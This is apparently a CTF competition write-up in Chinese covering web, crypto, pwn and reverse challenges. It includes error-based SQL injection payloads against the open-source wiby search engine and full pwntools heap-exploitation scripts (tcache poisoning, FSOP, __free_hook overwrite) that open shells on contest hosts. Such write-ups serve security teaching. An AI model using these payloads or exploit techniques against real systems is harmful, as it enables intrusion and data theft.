文章目录
Web
ezWeb
给了admin的密码admin888
直接登陆后台找一个approver用户和crawler用户连接的sql注入即可
发现该应用的issue https://github.com/wibyweb/wiby/issues/1、
发现使用双引号的sql语句都可以注入,那么就随便找2个位置注出flag即可
/accounts/accounts.php

" and extractvalue(1,concat(char(126),(select flag from flag1)))--
/tags/tags.php

" and extractvalue(1,concat(char(126),(select flag from flag2)))--
Crypto
point_power
ECC二倍点公式,a是未知数,带入化简一下,解一个有限域多项式
from Crypto.Util.number import long_to_bytes
p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727
PR.<a>=PolynomialRing(Zmod(p))
f = (3*x1^2+a)^2-4*(x2+2*x1)*(x1^3+a*x1+b)
print(f.roots())
m2=56006392793430010663016642098239513811260175999551893260401436587175373756825079518464264729364083325
print(long_to_bytes(m2))
strange curve
不知道出题人在干什莫,P点横坐标转字符就行。
Pwn
Gift
from pwn import*
r=remote("123.56.45.214",44298)
#r=process('./pwn')
context.log_level='debug'
def new(size,content):
r.recvuntil("your choice:\n")
r.sendline("2")
r.recvuntil("your choice:\n")
r.sendline(str(size))
r.recvline()
r.send(content)
def delete(idx):
r.recvuntil("your choice:\n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def show(idx):
r.recvuntil("your choice:\n")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
def gift(idx,size):
r.recvuntil("your choice:\n")
r.sendline("5")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
new(1,"\n")
new(1,"\n")
delete(0)
delete(1)
show(1)
r.recvuntil("cost: ")
heap=int(r.recvline())-0x260
success("heap: "+hex(heap))
new(1,"\x00"*0x10+p64(heap+0x400)+"\x00"*0x68+p64(heap+0x410))
new(1,p64(heap+0x390))
delete(0)
delete(1)
gift(1,-0x10)
new(1,"\n")
new(1,"\n")
new(1,"\x00")
delete(0)
show(0)
r.recvuntil("cost: ")
libc_base=int(r.recvline())-0x3ebca0
success("libc_base: "+hex(libc_base))
new(1,p64(libc_base+0x3ed8d8))
new(1,"\n")
new(1,p64(libc_base+0x4f302))
delete(8)
#gdb.attach(r)
r.interactive()
happy_note
from pwn import*
r=remote("182.92.74.66",17827)
#r=process('./happy_note')
context.log_level='debug'
libc=ELF("./libc.so.6")
def new(idx,size,mode):
r.recvuntil(">> ")
r.sendline("1")
r.recvline()
r.sendline(str(size))
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(mode))
def delete(idx):
r.recvuntil(">> ")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
def show(idx):
r.recvuntil(">> ")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil(">> ")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.send(content)
def gift(idx):
r.recvuntil(">> ")
r.sendline("666")
r.recvline()
r.sendline(str(idx))
def xor(ptr1,ptr2):
return (ptr1>>12)^ptr2
for i in range(11): new(i,0x108,1)
for i in range(7): delete(i)
gift(7)
show(7)
r.recvuntil("content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219cc0
success("libc_base: "+hex(libc_base))
_IO_wfile_jumps=libc_base+0x2160c0
new(0,0x100,1)
delete(9)
delete(7)
show(0)
r.recvuntil("content: ")
heap=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0xc20
success("heap: "+hex(heap))
new(2,0x100,1)
new(3,0xE8,1)
new(4,0xE8,1)
delete(4)
delete(3)
edit(0,p64(xor(heap,libc_base+libc.sym["_IO_list_all"])))
new(5,0xE8,2)
new(6,0xE8,2)
new(7,0x200,1)
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x18,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x58,"\x00")
fake_IO_struct+=p64(libc_base+0xeacef)
fake_IO_struct=fake_IO_struct.ljust(0x90,"\x00")
fake_IO_struct+=p64(heap+0xf30)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps)
fake_IO_struct=fake_IO_struct.ljust(0xd0,"\x00")
fake_IO_struct+=p64(heap+0xf30)
edit(7,fake_IO_struct)
edit(6,p64(heap+0xf30))
#gdb.attach(r,"b _IO_wdoallocbuf")
delete(9)
r.interactive()
smallcontainer
from pwn import*
r=remote("123.56.121.45",23924)
#r=process('./smallcontainer')
context.log_level='debug'
libc=ELF("./libc-2.27.so")
def new(size):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(size))
def delete(idx):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
r.send(content)
def show(idx):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(idx))
for i in range(10): new(0x208)
for i in range(3,10): delete(i)
for i in range(7): new(0x1F8)
for i in range(3,10): delete(i)
delete(0)
edit(2,"a"*0x1F8+p64(0x221))
edit(1,"a"*0x208)
edit(1,"a"*0x200+p64(0x420))
delete(2)
for i in range(7): new(0x208)
new(0x208)
show(1)
libc_base=int(r.recvuntil("This is a cyber container",drop=True),16)-libc.sym["__malloc_hook"]-0x70
success("libc_base: "+hex(libc_base))
new(0x108)
delete(9)
edit(1,p64(libc_base+libc.sym["__free_hook"]))
new(0x108)
new(0x108)
edit(10,p64(libc_base+libc.sym["system"]))
edit(0,"/bin/sh\n")
delete(0)
#gdb.attach(r)
r.interactive()
Reverse
CrackMe
JEB 反编译 apk ,CheckFlag函数是关键函数,在获取输入之前,会先执行 getReady
在 so库里面,然后执行loadassets
,在 java 代码里。getReady
使用了sock编程,应该就是创建一个服务,在最后check flag 时候,所做的是通过 sock 将 flag 发送到服务端加密,返回的结果在 libcrackme.so 里与 enc进行比较。
loadassets
里主要做的是将 dragon 文件复制到 /data/user/0/com.fire.crackme/files/
一个文件名为5个字符的随机字符串的文件中, 同时也会将 rain1.png rain2.png … rain5.png 复制到该目录下。
这里的 dragon 文件就是我们的服务端,这里的 rain 文件虽然是png 后缀,但是不知道文件类型。在 dragon 执行时候,会将 rainx.png 文件里的内容写入内存当中,然后作为代码去执行。
这里需要注意的是,题目虽然给了 x86 的 so 文件,但是由于 服务端 dragon 文件 以及 rainx.png 里的 shellcode 是 arm 架构的,所以 apk 只有在真机中才能正常运行,模拟中会因为架构原因无法启动服务端,也就不能做 flag 效验。
接着就是 对 libcrackme.so 的分析,和对 dragon的分析了。libcrackme.so 里做的主要就是把 flag 发送到服务端,并接收数据与硬编码的结果进行比较。
dragon 里 由于将 rainx.png 里的数据作为shellcode 动态加载去执行里面的代码,所以不方便静态分析,只能动态调试。
dragon 里的 sub_1350
函数 可以很明显的发现 rc4 加密算法的特征,rc4 加密算法,可以通过动态调试,拿出加密以后的值与我们的输入进行一遍异或再与 enc 进行异或得到的就是我们的 flag , 但是这里在 rc4 加密之前还进行了一些计算操作,所以需要还原一下。
调试 dragon 需要 attach 到这个进程上去进行调试

调试 dragon 比较麻烦,因为 arm 汇编跳转指令的原因,IDA 无法反汇编出伪代码,并且我也不太懂怎么去修一下 BL BX 这种条件跳转,所以只能硬读汇编,下面是一些分析流程
这里的输入的 flag 长度必须为 0x2a

这里是判断我们输入的前5个字符是否为 flag{

这里判断最后一个字符是否为 }

分析到这里 已经快结束比赛,并且我们可以构造出如 flag{a 36} 这样的合法输入来获取加密的结果,输入几次发现 如果输入 flag 相同,加密结果也相同,那么我们就可以判定,程序是使用到了 RC4 加密算法。由于不知道程序对我们输入的每一位 flag 还进行了哪些运算,那么我就选择一下 爆破我们的输入字符 a 在 RC4 加密 计算的结果 x 。这里的 x 应该是 0-256 的数据范围大小。比较容易,之后就是输入 flag{a 36} 这样的字符串,获取加密结果,与 0-256 异或,再与 我们的enc 异或,观察一下,哪一个应该是正确的 flag。同时在最开始时候我们对 flag 进行了一遍加一,那么我们的结果应减一再以字符形式输出。脚本如下。
arr1 = [97, 76, 160, 99, 253, 166, 229, 158, 242, 217,
30, 238, 180, 122, 6, 9, 176, 167, 41, 163,
170, 72, 243, 72, 237, 194, 175, 51, 23, 137,
209, 248, 77, 195, 230, 124]
arr2 = [97, 75, 250, 50, 251, 162, 190, 153, 190, 142,
30, 235, 177, 54, 81, 94, 234, 255, 101, 251,
250, 24, 166, 4, 188, 195, 255, 53, 65, 140,
209, 249, 25, 146, 182, 123]
for t in range(20, 256):
print(t,end = " : ")
for i in range(0, len(arr1)):
n = (arr1[i] ^ t ^ arr2[i])
print(chr((n + 255) % 256), end = "")
print("\n")
然后就在 值为 98 时候发现一组合法解,输入平台,就是正确解

最新评论